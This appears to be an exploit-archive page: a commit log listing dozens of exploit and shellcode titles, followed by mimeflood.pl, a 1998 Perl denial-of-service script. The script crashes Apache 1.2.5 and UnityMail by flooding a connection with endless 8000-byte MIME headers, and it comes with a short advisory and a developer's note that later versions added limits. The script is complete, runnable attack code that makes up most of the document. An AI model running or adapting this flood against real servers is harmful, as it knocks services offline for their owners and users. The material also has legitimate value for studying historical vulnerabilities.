880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
85 lines
No EOL
2.3 KiB
Perl
Executable file
85 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1760/info
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Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack.
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#! /bin/perl
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# mimeflood.pl - 02/08/1998 - L.Facq (facq@u-bordeaux.fr)
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# Web servers / possible DOS Attack / "mime header flooding"
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#
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# looking at the apache 1.2.5 source code i found
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# that there was no limit on how many mime headers could
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# be included in a client request. The only limits
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# are : 8192 byte for each header, 300 sec. on reading headers.
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#
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# => by sending a crazy amount of 8000 bytes headers, it's possible
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# to consume a lot of memory (and of course CPU). The point
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# is that httpd daemons grow and STAY at this big size (or die
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# if you send too much)
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#
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# -> may be a limit on mime header number could be added.
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#
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# -> may be other web server could be vulnerable to this problem.
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#
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# - i tried on an apache 1.2.5 -> it works
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# - i didnt installed 1.3.1 but looking at the source code,
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# i think the problem is there too.
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#
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##################################################
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#From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420
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#
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#[...]
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#>
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#> -> may be a limit on mime header number could be added.
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#
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#Such limits have already been added to 1.3.2-dev.
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#
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#.....Roy
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use Socket;
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# Usage : $0 host [port [max] ]
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$max= 0;
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if ($ARGV[2])
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{
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$max= $ARGV[2];
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}
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$proto = getprotobyname('tcp');
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socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
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$port = 80;
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if ($ARGV[1])
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{
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$port= $ARGV[1];
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}
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$host = $ARGV[0];
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$sin = sockaddr_in($port,inet_aton($host));
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connect(Socket_Handle,$sin);
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send Socket_Handle,"GET / HTTP/1.0\n",0;
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$val= ('z'x8000)."\n";
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$n= 1;
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$|= 1;
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while (Socket_Handle)
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{
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send Socket_Handle,"Stupidheader$n: ",0;
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send Socket_Handle,$val,0;
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$n++;
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if (!($n % 100))
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{
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print "$n\n";
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}
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if ($max && ($n > $max))
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{
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last;
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}
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}
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print "Done: $n\n";
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send Socket_Handle,"\n",0;
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while (<Socket_Handle>)
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{
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print $_;
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} |